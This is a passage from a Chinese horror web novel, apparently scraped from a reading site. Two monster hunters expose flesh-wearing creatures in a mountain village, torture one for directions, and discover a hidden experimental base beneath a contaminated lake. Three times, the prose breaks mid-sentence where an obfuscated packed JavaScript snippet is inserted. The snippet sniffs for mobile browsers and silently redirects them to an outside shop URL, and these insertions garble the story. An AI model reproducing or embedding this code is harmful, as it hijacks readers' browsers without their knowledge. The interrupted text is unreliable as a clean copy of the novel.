村长目光一闪,摆摆手说:“不知道,那些人奇怪得很,似乎是为了找什么东西而来,修兰村就这么大点地方,他们没找到就走了……可能是擅自进山,触怒了山神,永远消失在了这片群山之中。” 他忽然古怪地一笑:“腐臭的血肉能成为山神的养料,那是他们的荣幸。” 在短暂的交谈中,这个老人已经提了数次山神,难道真有一位存在藏在修兰村背后,被这个聚落秘密地信仰着? 路远寒和伊凡对视了一眼,继续问道:“听说当年村上挖过一口井,最后挖到了别的东西。您说的山神,跟这件事有什么联系吗?” 提到那口井,村长脸上的笑意顿时淡了下去。 “那是山神显迹,我们这些卑微低贱的人,只能为祂献上能提供的一切,不能想着索取回报。实在没东西吃的时候,也有人吃过那井里的鱼。最后么,脸上也长出了和鱼身上一模一样的眼睛,精神上接受不了,就从山上跳下去死了。” 回答完路远寒的问题,他便咳嗽着说自己累了,要进屋休息,让两位客人自行从前门出去。 见村长不愿意再提供情报,路远寒便跟着伊凡回到了他们下榻的屋中,此时已经是凌晨两点,也到休息的时间了。 他和伊凡商量好轮流守夜,每两个小时替换一次,就靠着床边闭上了眼睛。 路远寒身上的触手也安静地蜷缩在体内,随着呼吸而一颤一颤地翕张。或许是被修兰村阴郁的氛围影响到了,他在梦中仍然追着那手脚着地的女人,树林里忽然下起了雨,温热的雨水滴在他脸上,让路远寒醒了过来。 他睁开眼睛,看见一张白花花的脸。 那张裂开缝隙的嘴悬在他头顶上,从腥臭的牙缝间流出一丝涎水,啪嗒啪嗒地向下落着。 34. 人皮 被这样一张鬼气森森的脸注视着,路远寒内心警铃大作,当即翻身下了床,握拳重击在怪物脸上,将它一拳打得倒飞出去,才伸手将脸颊上温热的液体擦去。 他发现指节上的触感黏滑而湿漉漉的,像是浸在水中,想必那怪物面上覆盖着一层黏膜。路远寒和怪物拉开距离,在床边上站定了,这才认真打量起对方古怪的真容。 细看之下,路远寒发现这只怪物长得和人很像。 它从身高、体型到四肢都与常人相近,只不过浑身皮肤皆是惨白如纸,身上不见有一丝鬃毛,像是被剥去外壳的卵生动物,爪掌上密集的鳞片还在微微起伏,正用那双充血的眼睛一眨不眨地望着他。 最为怪异的是那张脸,面部平整得就像书页,不见一丝起伏纹理,属于眼睛的两颗球状物镶在洞内,没有睫毛、眼睑,正圆溜溜地射出阴毒的视线,站在它面前,能看到上面每一根细小的血管。而它鼻梁的位置只剩两个黝黑的小孔,嘴巴倒是大得惊人,在口腔内藏着一条腥红的长舌,还在不断淌着涎水。 不看还好,一看清它那诡异至极的面貌,路远寒手臂上已经浮起了汗毛。 伊凡去哪里了? 想到这里,他猛然转头,发现这位队长不知道什么时候靠在墙上睡着了,而他身边也守着个白面怪物,正用觊觎的视线紧盯着伊凡。 伊凡作为猎魔人中的精英,不可能无缘无故在看守的时候睡着……他是被下药了,还是迷烟?路远寒脑海中闪过无数想法,视线瞥到被打开的门锁,他的心情不由更沉重了几分。 锁头完好无损,显然不是被外力破坏的。他睡觉前锁好了门,那就只有一种可能:艾克为怪物提供了钥匙,想让他们在睡梦之中成为这些白面怪的盘中餐。 路远寒面色微变,毫不犹豫开了一枪,弹壳穿透伊凡身边怪物的脑膜,在墙壁上留下焦黑的痕迹。血花与枪响一同飞溅,震得门框发颤,让紧闭着眼睛的男人倏然醒了过来。 无需队友提醒,伊凡也知道眼下的情况有多么危急。 他握紧枪身,拧身撞在正抽搐着的怪物身上。成年男性的重量不轻,将那身惨白皮肤下的脏器都挤压得发出一阵闷响,那怪物口溢鲜血,没过几秒就死在了屋内。 就在伊凡冷静应对之际,另一只怪物已经四肢着地,迅速窜了出去。那扭曲的姿势莫名让他感到一丝熟悉,直到路远寒提醒,他才意识到那女人也是这样爬出修兰村的。 伊凡声音低沉:“这些怪物难道是村民变的?” “要真是这样的话,那些人失踪倒是不奇怪了。”路远寒提着锯肉刀走过来,用刀身拨了拨地面上瘫软的尸体。 若这些怪物就是修兰村里的人,那他们口中提到山中少有的猎物,想必就是被引诱到此的外来人。对于修兰村而言,村中数十口人、或者说数十只怪物,都等着将这两名编辑的肉割下来大快朵颐。 要不是意外身死,被猎魔人顶替了身份,那两人恐怕已经被切成一块又一块鲜血淋漓的人肉,被挨家挨户轮流品尝。 只是不知道他们平时是如何伪装得天衣无缝,竟让人看不出什么蹊跷…… 路远寒眉头紧皱,不对,那些人身上都有一种相当油腻肿胀的感觉,就连他脚下的怪物也散发着腥臭的味道,只不过略显干瘦,仿佛刚从寄生的母体内抽离出来。 他快走几步,猛然撞开了艾克那间主屋的门。 微弱的灯光之下,正有只怪物在费劲地往人皮里钻,那层浮囊发黑的皮肤被它套在身上,略显错位,背后还有一条血肉模糊的缝隙,露出外皮下苍白的内里。而它的胳膊诡异地反过来一折,像拉链似的将那道口子拉上了,指节缓慢地扯到头皮上,再转过来时,已带上了那副熟悉的微笑。 只是它没有想到,路远寒已经追到了门前。 两人视线一撞,艾克顿时怔在了原地,面上神情变幻莫测,让人难以想象怪物披着层皮也能做出这么多表情。 它张了张嘴,刚想辩解些什么,却被一发冷酷无情的子弹打断了遗言。 在强烈的冲力之下,怪物趔趄着后退了两步,它的胸膛、躯干,以及心脏等位置也随即飚射出鲜血:伊凡和路远寒前后开枪,每一枪精准无误,近乎要将这副人皮外壳打烂了。 就是披着再厚的人皮,被打成筛子也无法活下来。路远寒蹲在一大片血迹前,检查着怪物尸体,指节翻开那层假人的眼皮,确认底下的眼睛已经失去了焦距,再也不能窥伺他们。 他捻了捻指腹,将沾上的油用纸巾擦去。 这是一件怪事,怪物们使用的人皮都臃肿发涨了,按常理来说,应该很快就会腐化,但村长那身皮为什么能维持几十年不腐?修兰村背后还藏着什么不可告人的秘密…… 路远寒和伊凡商量了片刻,打算先从这里离开。村中秩序井然,尊卑有序,怪物们没有第一时间吃下他们的血肉,显然是准备将这难得的猎物交到上面,等待村长处置。 也就是说,杀死屋中的两只怪物,并不能从根本上解决问题,外面还有数不清的同伙在暗中潜伏着,一旦他们被围攻,情况就危险了。 路远寒握着枪跟在伊凡身后,忽然灵光一闪,想起了那个寻找泉水的女人。 他跟队长禀报了这件事,伊凡也同意从她下手,两人悄无声息地到了女人家门前,看到地上有一串杂乱无章、向内蜿蜒的脚印,便知道这人回来了。 接下来的事就好办了。两人分工明确,一个人负责摇铃铛将她骗出来,另一个则在门旁等候,伺机制服出来的怪物。 鲜红的铃铛一触即响,像被血浸过似的,幽幽发出悦耳的声音。 好在这声音并不悠扬,只局限在附近数米,并不会引起其他怪物的注意。 铃声传开之后,门内果然响起了一阵窸窸窣窣的怪声,仅是在门外听着,路远寒都能想象到女人是如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191349|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬向门扉的。手杖的力量太大,锯肉刀又不好控制,因此制服怪物的重任就落在了伊凡身上。 木门应声而开,女人刚满面欣喜地探出脑袋,就被一双健实的胳膊绞住了脖颈。 那力道紧锁着她的颈骨,让人喘不上气,更难叫出声来,不过片刻就涨得满面通红——这人皮倒像是活的,还会因为窒息而充血涨大。 数秒之后,女人便失去了意识,瘫倒在伊凡手上。 两人拖着怪物进了它家中,小屋极为简陋,连家具都是最老旧的款式,看来就算在这座吃人不眨眼的鬼村庄,它的地位也相当低下。 路远寒的手顺着它的发丝摸进去,果然摸到了一处突起。他捏着那肉结往下一拉,这层覆盖在怪物表面的人皮便顺滑如水地脱到了地上,肤感温热而细腻,与女人之前那阴鸷浮肿的状态截然不同。 就仿佛重现青春了一样。 这是怎么办到的,靠那所谓的泉水?路远寒心中有了猜测,手下动作却不见迟缓,不到片刻就将怪物从新鲜的人皮下剥了出来,将它捆好手脚,只留一张嘴在外面,嘴边还贴了块布,见势不对就能封口。 他将封口布贴好,又用沉重的刀柄砸在怪物脚上,痛感顿时让它恢复了清醒。 那双眼睛先是震惊、不解,几经闪烁,随即又变成了极端的阴毒,仿佛要用刀子从面前这两人身上剜下肉来。 对于这种情况,路远寒早有准备。 他拿起锯肉刀,在怪物错愕的目光下,慢条斯理地割下一截指骨,将流着血的肉块攥了起来:“能配合我们吗?” 看到怪物因断指的剧痛猛烈挣扎着,似乎想要张口咬死他,路远寒面色平静,随手将骨头扔到一边,又用刀身铡断了几根手指。他每问一次,便要血肉飞溅,地板咣咣震响,直到怪物忙不迭地点头,他才收起钢刀,重新笑了起来:“很好,你要是早点想明白,也就没有这么多事了。” 他并没有第一时间揭开封口布,反倒提了个问题:“你的皮囊能保持新鲜不腐,是因为泉水吗?” 怪物迟疑片刻,像是没想到他会这么问,才缓缓点了点头。 路远寒得到答案,心下已有了数,又朝怪物下达了一条命令:“我们现在要去寻找泉水,需要你指路。等会到岔路口,往左拐你就点一下头,往右拐你就点两下头……怎么样,能做到吗?” 看到那血色刀面上照出自己满面惊恐的模样,似乎再迟疑一刻,就会砍下它的头,怪物只得顺从地点点头,同意了他的要求。 “好了,前辈。”路远寒将怪物一拎,面不改色地扛在了肩膀上,朝伊凡示意,“现在我们有引路人了。” 伊凡不知从哪又摸出一支烟,却也没有点着,只是叼在嘴里,用冷峻的目光审视着面前这个队员,像是在判断他的品性。 他眼中的颜色明灭不定,最后什么也没说,领着路远寒出了门,前往他们上次做过标记的密林。 35. 碧水 两人一出门,异变陡生。 不知从何时起,外面已经被怪物们密密麻麻地占据了。 它们有些面色惨白,用阴寒的眼神望着从门内走出的两人,有些还披着臃肿的人皮,看上去就如有着温热血肉的真人。只不过它们的神情都是如出一辙的诡异,毫不掩盖浓烈的食欲,仿佛饿得癫狂了,又像是在审视着这两个外地人。 伊凡当机立断,扔过去一颗灵爆弹:“快走!” 随着耀眼的白光闪现,那些怪物也畏惧地退出三丈,惨叫声此起彼伏,就连路远寒肩上的这只也在不断打颤。这种畸变物似乎极怕强光,灵爆弹虽然不能对它们造成实质性伤害,却也有效地遏制了怪物的行动。 趁着怪物还没有追上来,两人沿着小路一直往修兰村外跑。他们的大多数行李还在屋内,此时只带了随身武器、封印匣和补给物品,行进时显得敏捷了不少。 不多时,两人就找到了先前做过标记的树。路远寒停下脚步,眉头倏然拧紧了,他觉得这棵树似乎挪了位置,是错觉吗? 他顺着树身往上打量了一遍,并未发现任何异常,只得将疑虑暂时压了下去。 伊凡使用的冷兵器是一把太刀,刀身锋利而细长,雪亮的刃面上隐隐有银光浮现,似乎只需一刀,就能取下敌人首级。他用刀鞘一根根拨开树林里遮蔽视线的枝叶,到了岔路口,便回头望着背后的队友。 那怪物倒是识相,无需路远寒开口,就已经点了两下头。 两人向右拐去,在这片幽深的密林中行进,周围的一切都变得晦暗了起来,树身盘旋错乱,脚下黑草摇曳,不时还有恸哭般的阴风呼啸,无形的黑暗攀附上他们手里的煤油灯,一点点吞噬着灯罩散发出的微光。 向左、向右……他们重复着问路的过程,在怪物的指引下越过一条又一条岔路。 没有地图作为参照,谁也不知道这怪物指的路是真是假,但它的性命还掌握在路远寒手中,一旦有意外发生,他就会立刻拧断这颗苍白的头颅。 有伊凡在前面开路,路远寒便在内心计算着他们行进的时间,不时看一眼手表勘误。 与正常人相比,猎魔人身体素质强悍,但同样也会疲惫、饥饿,甚至更容易精神狂乱。这段路走了约有四十分钟,他感觉到这些树木不再密集如云,取而代之的是一片高大而空旷的黑树林。 那些树每一棵都直挺耸立,至少有数层楼高,树根纵横交错,不断向外伸展,就如起伏的黑色地毯,厚重地铺在他们面前的土壤上。 那庞大的根系看得路远寒眉头一跳,说不出的怪异感再次涌现,他放下怪物,掐着它的脖颈一路拖行,极为小心地绕开树根,尽量不踏入黑树的领地。 怪物在他指节下被掐得直翻白眼,折叠起来的四肢也洇出漉漉血迹。 灯芯里火焰一闪,怪物猛然挣扎起来,连脖颈上的血管都绷紧了,摆脱路远寒的束缚,一头磕在了漆黑的树根上。 突生的变故让两人脚步一顿,路远寒杀意毕现,刚要拔枪扫射,被怪物触碰到的树根竟然蠕动了起来,从土壤里拔地而出,如同一根根巨大的触足,在空中挥舞着,席卷起无数飞沙走砾。散射的碎石洞穿了怪物的胸膛,它颤然倒地,从窟窿里流出汩汩鲜血。 那棵树活了过来。 与脚下的两人相比,它简直是让人望而生畏的庞然巨物,每跨一步就要地动山摇,从树身上倏然裂开同样巍峨的眼睛与嘴巴,用视线紧锁着正往远处逃跑的渺小存在。 一根粗粝的树枝呼啸着朝路远寒抽下,他纵身跃起,躲开势如千钧的力量,就地翻滚几下,离黑树更远了。 他和伊凡分头跑开,果然拖延了黑树的行动,似乎触怒了它,只见那参天的树身狂躁地扭动着,随着咚咚的震响,无数黝黑的树枝扫荡过地面,将周围的怪树全部激活了。 “这是天要亡我啊……” 路远寒隐约听到了一声略显无奈的叹息。 他和伊凡迅速汇合,尽可能快地穿梭在这片开阔地上,那些黑树虽然庞大,动起来却颇为缓慢,只有枝条宛如箭雨急骤地向他们射来,哪怕被树梢连带着蹭上一下,也会皮开肉绽,血流不止。 不知道跑了多久,直到两人浑身肌肉都要撕裂了,背后那轰隆隆的巨响才逐渐平息了。 伊凡啐出一口含着血的浓痰,若无其事地按了按酸痛的肩膀。 煤油灯的绳芯已经烧到了头,好在背包里还有应急用的照明灯,他珍惜地拿出一盏,白光闪耀,比先前昏暗的灯火明亮了数倍,顿时将周围照得一片亮堂。 他眨了眨眼,适应着骤变的视野,却看见路远寒正蹲在地上,声音模糊地传来:“前辈,你过来看。” 伊凡闻言走过去,发现那竟然是一处潺潺流淌的活水,在椭圆形的沟壑内荡起声响,想必就是怪物用以保养人皮的泉水。然而走得近了,他却皱起眉头,因为那冷泉的颜色幽蓝得近乎透出一丝绿意,荧光缭绕,还不断冒着气泡,照得人眼睛极不舒服。 他还没来得及开口,一枚铜便士就被路远寒扔进了泉水中。随着滋滋的声响,那枚硬币被腐蚀得融化变黑,很快就沉进了浑浊的水底。 路远寒说:“这种水质有着强腐蚀性,很像被污染过,或者发生了某种畸变。但我有一个猜想,既然怪物们能用它洗涮人皮,那人体对它应该也有一定的抵抗性,不至于触碰到泉水就受严重伤害。” 性情狠毒、道德感低下、对事物的观察细致……伊凡对他又有了新的判断。 他原本以为奥斯温·乔治是一个不稳定因素,在某些时刻表现得太过冷血。伊凡正在衡量他的危险程度,思考着要不要写份报告提交,但此人确实帮了不少忙,更何况猎魔人入会时就有精神检测,西蒙娜没有处置他,已经说明了问题。 伊凡想,或许他只是一个对怪物深恶痛绝的年轻人呢? 他收起多余的想法,望向这片诡异的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204195|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域。泉水颜色鲜艳,仅是通过肉眼观察,很难看出水下到底有多深,但隐约有黑影从水中游过去,应该是生活在附近地带的种类。 顺着泉水往上看去,有一条水道蜿蜒而出,显然还有更深的源头。 两人没有过多停留,根据水流的方向不断行进。 他们脚下的地势数次起伏,有时需要往高处跋涉,有时又往下走进洞窟,在这种情况下,没有一个人出声打破寂静,他们都保持着高度警惕与严肃。 直到某一处,那水流忽然钻进了山缝当中,让两个锲而不舍的猎魔人无法再追溯下去。 路远寒敲了一下额头,他发现周围的植被异常繁茂,而且都有着不同程度的畸变,或是伸展着螺旋状的触须,或是吊满明亮的灯果,看来那怪水的源头应该不远了。 他戴上手套,从旁边摘下一颗散发着幽光的果子。即使脱离了根茎,这颗果实仍然透亮,从断柄处渗出的荧光液流经不同指节,将他的指腹也浸得微微发光。 有这些灯果在,他们的照明灯就可以收起来节省能源了。 路远寒动作迅速地摘着果实,往伊凡背包里装了几颗,两人手上又各自拿了一颗灯果。在荧光映照下,他们面上都隐隐有些发蓝,正如那隐藏起来的怪异泉水。 好在这片区域的植物虽然发生了畸变,却不像黑树一样具有攻击性。两人顺坡而上,观察着视野中千姿百态的稀有畸变物,在即将越过某道界线的时候,伊凡忽然刹住脚步,紧急将路远寒也拦了下来。 路远寒抬起头,只看到一张幽蓝的脸。 他冷静地思考了两秒,紧接着站在伊凡身边,看到了下方那宛如深渊的坑洞。 若是它出现在地表,路远寒会认为这是一处天坑,置身地下世界,那被悬崖围着的巨大漏坑仍然险峻至极,下陷处近百米深的地方被蓝绿色的水面填满,那些汇聚的光直射着打在人脸上,就像是为他们覆上了一层薄如水光的面纱。望着那幽邃的湖水,仿佛凝望着群山最深处的心脏,让他每一个念头都被寒意笼罩。 他不禁想道,到底是什么样的污染泄漏,才能让如此宽阔的区域都发生畸变? 路远寒转过头,发现伊凡面上神情已是非常凝重,显然和他有着同样的想法。他握紧了相机的系带,准备把这地方拍摄下来作为物证。 忽然有双质感冰冷的手从他腰后猛推了一把,让两人同时朝着那巨大的坑洞坠去,在剧烈的失重感下,只听到崖边徘徊着一阵窸窸窣窣仿佛微笑着的怪响: “嘻嘻,咯咯咯……” 在万分危急的一瞬间,伊凡猛然拽住路远寒的胳膊,同时打开腰侧的武器袋,从中飞射出一道金属钩爪,重重钉在了旁边的峭壁上,让两人坠地的势头一滞,悬在了离水面数米高的地方。随着咔嚓脆响,他感觉到拉人的那侧肩膀脱臼了。 伊凡顾不上身体的剧痛,因为镶进石壁里的钩爪正在缓缓脱落,他们即将被无边的碧水吞噬。 36. 基地 随着那钩爪一滑,两人也重重坠进了水中,激起浪花无数。好在有着前面的缓冲,现在的高度不至于让他们摔得血肉横飞,只是被幽蓝的湖水裹挟着卷进了坑洞里。 正如路远寒猜想的那样,这片被侵蚀过的水域并不会将他们烧得皮开肉绽。然而那诡异的刺痛感仍然顺着皮肤钻进他身体里,像是被低温炙烤着一样,让他感觉自己就如一只蜕下外壳的蝉,身上这层薄薄的人皮随时都会融进湖水里。 他忍着强烈的痛楚向下望去,一时间竟然僵住了,任由阴冷的水流缠绕四肢,将他往下拖去。 这片水域远比表面上看到的要更深,数千丈都不能触底,仿佛一片深不见底的荧光海,在地底伸出无数柔软而恐怖的触须,将被潮水裹住的温热血肉输送到它的胃里,被酸水腐蚀消化。 路远寒屏住一口气,试图朝水面上游去。他此时已在水下数十米,汹涌的水流挤压着他的气囊,让他感觉口腔里都溢散着浓重的血气。 伊凡似乎在落水的一瞬间跟他分开了,只能隐约听到水流翻腾的声音。 路远寒下意识回头,却看见深水处隐约浮现出一片模糊的黑影,声势隆隆地向他所在的位置游来,直到那东西逼近了些,才发现幽蓝的湖水下潜藏着条怪异的灾虫。它的躯体庞大得像是外星物种,巨口一张便能覆盖半个村庄,由无数节带着眼睛的蠕动血肉紧密相接而成,在如此浩大的生物面前,一切恐惧挣扎都只是徒劳。 他看得悚然一惊,被求生的本能驱使着拼命往旁边游去。 路远寒想得很清楚,要是那巨虫头部穿出水面,同样能将他一口吞下,想要活命,至少得从横向上和它拉开距离。 无数漆黑的触手从他背后延伸而出,推着路远寒在水中快速游动。他隐约看到一面被腐蚀得坑坑洼洼的石壁,当即抛出两条最长的腕足,勾着窟窿眼将身体拽了过去。庞大的灾虫擦身而过,轰然撑破了平静的水面,仿佛海啸般降下淅淅沥沥的酸雨,泼了路远寒一身腥臭的湖水。 此刻,路远寒已经钻进了腐蚀出的洞窟。 那些窟窿往上数寸是湖水淹没不到的地方,才让他得以探出水面,在仅有一个人头高的空隙里急促呼吸,不至于撑破肺泡。 黑发湿漉漉贴在路远寒颈上,因他的脉搏而一颤一颤地起伏,不断有水滴从发尾滑下,甚至勾着几条畸变的小虫。他还没来得及思考,又听到那怪物不知道闹出了什么动静,随着一阵天塌地陷的巨响,他能倚靠的石壁也开始坍塌。 路远寒当机立断,反身蹿了出去,却还是被砸下的石块蹭到了小腿。 他眼前顿时黑了下去,身体不受控制地向着深不见底的湖心下沉,折断的脚踝被一条水草缠着盘旋而上,将这具灌满污水的身体引向未知之地。 不知道过了多久,他的意识终于回到体内。 我终于死了吗?路远寒一瞬间想道。按照常理,他在深水中昏厥了这么久,就算没有被压成一滩肉糜,也应该窒息而亡了,然而他还能感受到胸膛下心脏的搏动,就连指尖也是温热的,随着他的想法而微微抽动了一下。 他睁大眼睛,随即发现了脸上的呼吸面罩。 面罩上连着一根输送氧气的管道,路远寒顺着这条蜿蜒的管道望去,看见了沉在湖底的气罐,以及旁边守着罐子的生物。 那是个四肢纤长如同猿猴的动物,趾爪间连着近乎透明的蹼,浑身被雪白的鬃毛覆盖,分明一副陆地生物的容貌,却能在水下呼吸,显得神秘而离奇。见路远寒醒了,那张脸顿时扭过来,身形灵活地踩着水凑到他面前,手上不知道在比划些什么。 路远寒第一次露出了困惑的表情。 在语言不通的情况下,他自然无法理解那水生动物想要表达的意思。 好在那只生物上蹿下跳了片刻,终于伸直了一条胳膊,指明了想要他看的方向。路远寒视线掠过淤泥与水草,看到不远处有片遗迹,从建筑风格上看,应该是近数十年的产物,防水的材质将一切腐蚀性物质隔绝在外,透过门上的玻璃能隐约看到,里面被保存得较为完整。 在群山之中,在湖水底下,竟然有一片人工开发的区域。 路远寒的认知被微微撼动了。 他随即反应过来,自己现在戴的呼吸面罩,应该就是从那地方流散出来的。只是面前这只水猴子的智商未免也太高了,竟然知道怎样使用氧气罐救人,实在是闻所未闻。 想到这里,路远寒感觉体力恢复了不少,身体受到的损伤也基本痊愈了,便朝着氧气罐游去。他尝试抱起罐子,发现它应该有五六十公斤重,在水下显得滑不溜手,并不是能轻易搬走的。 他思考了片刻,决定先憋着气游过去,到那遗迹探查一遍,再回来呼吸氧气。 路远寒摘下面罩,动作极快地将它扣在罐口处压着,便循着水流朝那扇门行进。那只水猴子也跟在他身边,似乎很是高兴,不时发出几声短促的怪响,从口腔里冒出咕噜噜的气泡。 不过片刻,他就到了门前,手下轻柔地抚摸着冰冷的金属。路远寒另一只手握着手杖,回头望了眼水猴子,用动作简单示意道:你想进去? 水猴子叫了两声,不知道是同意还是否认。 路远寒了然转身,毫不犹豫用手杖的力量打碎了门锁,同时用余光警惕着背后的生物,以防对方突然袭击。 他推门而入,在黑影窜过来的瞬间浑身肌肉紧绷,好在水猴子闯进来后并没有管他,带着一串湿漉漉的脚印迅速消失在了走廊深处。路远寒这才反应极快地关上门,将外套卷起堵住了窟窿,没有让幽幽发光的湖水流进来太多。 苍白的灯光照着他所在的这条走廊,不知道使用了什么能源,竟然数十年都没有熄灭。 路远寒打量着这里的一切,极端压抑的寂静在周围铺开,除了他平缓的呼吸,没有任何声响,刚才看到的水猴子也仿佛是窒息时的幻觉,不曾有任何活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219996|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的生物陪他潜进水底遗迹。 无形的恐怖笼罩着这个地方,路远寒却没有慌乱,只是用力掐了一下指肚,通过痛觉确认自己现在还保持着清醒。 他走在这片沉浸在水下的建筑里,留意着身边出现的事物。地面上黏滑的痕迹证明确有一只生物匆匆走过,路远寒松下口气,刚要顺着走廊继续前进,忽然看到了一块残缺的牌子。 他眉头紧皱,将那块金属制的铭牌捡了起来,牌身被毁了一半,表面用他能读懂的文字刻着:…第二代实验基地。 这是一处秘密建造的实验基地? 路远寒顿时有了猜想,难道外面那些横生的异状,就是由于实验室污染泄漏……若真是如此,负责这个项目的幕后黑手简直是一切罪恶的源头。 不过铭牌上的文字很熟悉,是黑区的通用语言,考虑到历史上的变种等问题,应该就是最近一代产出的,位高权重,而且擅于研究畸变物,让他瞬间想到了缉察队。 只是捡起一块牌子,路远寒脑海里已闪过无数想法。 看来这次意外落水并非毫无收获,至少得到了足够多的情报,也调查清楚了隐藏在修兰村的人皮怪物。可惜伊凡不在身边,不知道是死是活,要是只有一人能回到岸上,那这次委托可以算是损失惨重。 而现在,路远寒打算再深入调查一下实验室,至少要找到能够用上的潜水装备,他才能返回岸边。 他顺着楼梯走下负层建筑,比起入口那条通道,这一层的内容就显得丰富多了。两侧墙壁都由镀层金属焊接而成,天花板上贯通蒸汽管道,只不过停运已久,只剩玻璃底部还残存着一点发白的痕迹。 通道边上有着许多房间,而在走廊尽头,则有一台造型诡异的机器,看上去颇为笨重,据路远寒推断,应该是某种防御设施。 路远寒上前两步,发现每个房间的门上都有编号。 但他并非实验人员,并不知道相应的编号对应着什么用途,只能随机找了间最近的实验室,用手杖破坏门锁后,谨慎地观察了片刻,才走进去一探究竟。 他一走进这间实验室,就被耀眼的光晃得睁不开眼睛。两排高大的玻璃罐陈列在地面上,罐身内盛着某种幽绿的荧光液体,比外面的湖水颜色更浓烈,看上去也更加危险。 左侧的玻璃罐中只看得见绿水,右侧却不一样,里面还浸泡着形态各异的生物躯体,随着路远寒一个个望去,向他揭示着背后血淋淋的真相。 它们性别不一,年龄、种类也不尽相同。 有些像是婴儿泥鳅的结合体,柔嫩的小手与肚皮下是摇曳的尾巴;还有些蟹壳下血肉焦黄,看不出原本是什么颜色,数条畸变螯肢在水中狂乱地伸展着。每一个生物罐底下都贴了标签,按照用途划分种类,尽可能详细地记录着荧光液浓度、实验时长、执行人的编号…… 在玻璃的折射下,那些褪色的文字被幽光照得熠熠生辉,仿佛一场冷酷的制裁。 37. 核心 看到那些标签上的字,路远寒的视线倏然一顿。 他在走进实验室前已经做好了准备,却还是因为毫无人性的暴行而震颤了刹那。毕竟他与它们,与那些畸变的生物都有着相同的命运,曾躺在手术台上,被改造成面目全非的怪物。 “哈……” 他喉咙间挤出一道嘲弄的笑声。 但路远寒还活着,并不会因同情就停下脚步。那些实验体在荧光液中泡了太久,已经成为一具具不会腐坏的标本,就算他打碎玻璃罐,也只是让那些血肉暴露在空气当中。 他一步步面无表情地走到最后,望着幽绿水光中的人影。 与前面的实验体相比,它容貌美丽,指节修长,仿佛被造物主精心雕刻出的一件艺术品。银色鬈曲的长发如倾泻的河水,围绕着它的胸口腰线,而从惨白的血肉往下,便是缀满鳞片的巨大鱼尾,尾身上的纹路在荧光照耀下隐隐泛起青紫,每翕张一下就会露出里面狰狞的痕迹。 就连它两颊与指尖也有细小的鳞片,那双手漂亮至极,轻飘飘地抵着玻璃壁,似乎想要触碰到站在面前的人。 路远寒伸出手,仿佛被银白的人鱼蛊惑了,隔着厚重的玻璃碰了一下那具不会动的尸身。 只是轻轻一碰,又迅速收了回来。 他从旁边的置物台上拿起一本实验日志,快速翻看了几页。遗憾的是里面并没有关于基地的情报,只是重复记录着提纯荧光液、培养怪物的流程,以及怪物身上出现的畸变:某年某日,零零四号暴毙而亡,几周后,修正过的荧光液中第一次出现了变异现象……再后来,零一八号下肢退化,与鱼类血肉融合,生出鳞片尾鳍。 看来所谓的018号,就是那条人鱼。 路远寒放下泛黄的日志,整理着事情的脉络。唯一能确定的是,外面水域的污染源自实验基地,这些荧光液不但具有强腐蚀性,还能诱发生物畸变。除此以外的用途,他暂时没有想到。 他将房间彻底检查了一遍,确认没有遗漏的线索后,离开这间实验室,用手杖打开了对面的门锁。 这侧的功能又有所不同,房间内没有储存着实验体的玻璃罐,而是摆放着十数台精密仪器,只不过表面已经蒙了灰,在不知道启动方式的情况下,很难研究明白它们的工作原理。 路远寒大概清点了这些仪器的数量,就将注意力放在了旁边的武器上。 他随手拿起一把,那柄武器静静躺在他掌心之中,枪管由剔透的玻璃制造,尾端有装填能源或弹药的凹槽,枪身则使用了高精度的材料,根据外面铺设的管道,路远寒猜测这是一把蒸汽枪。 “真漂亮……” 他不由得赞叹了一声。 没有蒸汽动力,即使拿着这把枪也无法发挥实际功能。路远寒将枪管装进武器袋里,想到仅是缉察队第二代实验基地,就有着如此雄厚的科研力量,心情不由得沉重了些。 安东尼奥伯爵已经是黑区的最高统治者了,为什么还要让缉察队背地里进行这种研究? 他揣摩不出高层人物的想法,只得逐一搜查着剩下的实验室。左侧用于储藏实验体,右侧放置机器军火,现在只剩走廊尽头的两间实验室没有调查,路远寒望着那台沉睡的重兵器,谨慎地伸出一条触手,轻轻搭在了门锁上。 好在那台兵器没有任何反应,路远寒这才放下警惕,进了左手边的实验室。 房间里没有让人触目惊心的玻璃罐和武器箱,而在地面中央,有一道需要拉动的金属机关。只是没有告示牌,也就无从判断拉下机关后会发生什么事,或许会从天上降下一把断头铡刀,血溅三尺,又或许会揭晓某个不为人知的秘密。 路远寒思考片刻,退出去看了看对面的实验室,随即发现那里空无一物。通往下层的道路被重型兵器看守着,在它背后是合金铸造的大门,哪怕使用异物的力量,也很难将其撼开。 他想,看来问题的关键仍在于那道机关。 